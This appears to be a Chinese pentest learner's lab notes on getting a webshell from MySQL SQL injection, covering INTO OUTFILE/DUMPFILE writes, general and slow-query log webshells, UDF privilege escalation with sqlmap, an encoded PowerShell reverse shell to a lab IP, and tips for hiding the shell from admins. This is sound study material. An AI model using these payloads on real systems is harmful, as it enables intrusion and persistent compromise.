
感觉自己实操还有欠缺,刚好看到别的师傅有这个主题的博客,我也顺着写一篇笔记
环境配置
直接用了之前上课用到的代码,很简单构造出一个有sql注入的环境
mysql用的是5.1.60
index.php
1 | <!DOCTYPE html> |
很明显漏洞在这里
1 | $sql = "select * from books where id = '$id'"; |
Into outfile写入文件
利用条件
- 执行
INTO OUTFILE
操作的用户必须拥有FILE
权限,也可以说是必须是root权限 - 知道当前网站的绝对路径,对应的路径有写入权限
PHP
的GPC
为 off状态;(魔术引号,GET,POST,Cookie)- secure_file_priv 没有具体值
secure_file_priv 的值为null ,表示限制 mysqld 不允许导入|导出
secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
1 | mysql> show global variables like '%secure_file_priv%'; |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
写入webshell
基于联合查询
1 | -1' union select '<?php phpinfo(); ?>',NULL,NULL into outfile 'C:/phpstudy_pro/WWW/1.php' --+ |
非联合查询
1 | -1' into outfile 'C:/phpstudy_pro/WWW/4.php' FIELDS TERMINATED BY '<?php phpinfo();?>' --+ |
空格可以用+号,%0a
、%0b
、%a0
、 /**/ 注释符等代替
sqlmap
1 | sqlmap -u 'http://192.168.64.145/sql/sql2-2?id=1' --file-write=/Users/lingtian/downloads/info.php --file-dest="C:\phpstudy_pro\WWW\3.php" |
Outfile和dumpfile的区别
outfile:
1、 支持多行数据同时导出
2、 使用union联合查询时,要保证两侧查询的列数相同
3、 会在换行符制表符后面追加反斜杠
4、会在末尾追加换行
dumpfile:
1、 每次只能导出一行数据
2、 不会在换行符制表符后面追加反斜杠
3、 不会在末尾追加换行
所以我们可以用dumpfile写入二进制文件,而用outfile写入的二进制文件最终会无法生效(追加的反斜杠会使二进制文件无法生效)
利用日志写入webshell
- web文件夹权限宽松,可以接受写入新的东西
- 最好是windows系统
- 运行Mysql或Apache的是高权限
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
1 | mysql> SHOW VARIABLES LIKE 'general%'; |
第一个参数需要general_log
是ON的状态,这样mysql才会记录每一条记录,第二个参数general_log_file
是日志的文件路径
如果要写入shell,两个参数都要修改,如果是注入,可以利用到堆叠注入
用到一个源码
1 | $id=$_GET['id']; |
mysqli_multi_query
函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。
在windows用这个给文件夹权限设置宽松
1 | icacls "C:\phpstudy_pro\WWW" /grant Everyone:(F) /T |
Linux是
1 | chmod -R 777 /var/www/html |
如果遇到堆叠注入,payload可以这样写
先修改两个参数
1 | ?id=1';set global general_log = "ON";set global general_log_file='C:\phpstudy_pro\WWW\shell.php';--+ |
直接在数据库测试了
1 | mysql> set global general_log = "ON"; |
然后尝试写入shell
1 | ?id=1'; select '<?php eval(@$_GET['a']);?>' |
写入后,注意这里要闭合好,不然没办法正常执行
1 | PS C:\phpstudy_pro\www> type .\shell.php |
尝试生存个powershell的payload也能成功反弹shell
1 | /shell.php?a=system(%27powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADYANAAuADEAOAA3ACIALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==%27); |
慢查询
思路是差不多的,修改的参数不一样而已
1 | show variables like '%slow_query_log%'; --查看慢查询信息 |
为什么要用慢查询,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志,一般都是通过long_query_time
选项来设置这个时间值,时间以秒为单位,可以精确到微秒。
通常情况下执行sql
语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。拿到shell后上传一个新的shell,删掉原来shell,新shell做隐藏,这样shell可能还能活的时间长些
UDF提权
在MySQL>=5.1的版本,我们可以创建自定义函数的方式来执行恶意代码,添加的函数可以在select中使用,就像使用version()一样方便
sqlmap和Metasploit都提供了动态链接库,直接用就行
这次用的版本是5.7.26
寻找插件目录
1 | mysql> show variables like '%plugin%'; |
写入动态链接库
secure_file_priv 要是空的!空的!空的!
如果有sql注入且是高权限,plugin目录可写,secure_file_priv 无限制,这个时候可以直接用sqlmap跑
1 | sqlmap -u 'http://192.168.64.145/sql/sql2-2?id=1' --file-write=/Users/lingtian/downloads/lib_mysqludf_sys_64.dll --file-dest='C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf1.dll' |
如果没有注入,可以在secure_file_priv 无限制的情况下,手工写到插件目录下
借鉴国光师傅的payload,成功写入执行
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf1.dll'; |
如果不想要一大串十六进制的东西,可以先加载dll写到一个文件,在dumpfile写进去
1 | mysql> create table foo (xxx blob); |
参考
https://www.sqlsec.com/2020/11/mysql.html
https://drun1baby.top/2022/07/20/SQL%E6%B3%A8%E5%85%A5Getshell%E5%AD%A6%E4%B9%A0/
https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html
碎碎念
先大概写到这里,虽然不是很难,但是复现真的花了一些时间,有些小细节要注意,用户权限,文件夹宽松权限,secure_file_priv要是空的,这些都要注意!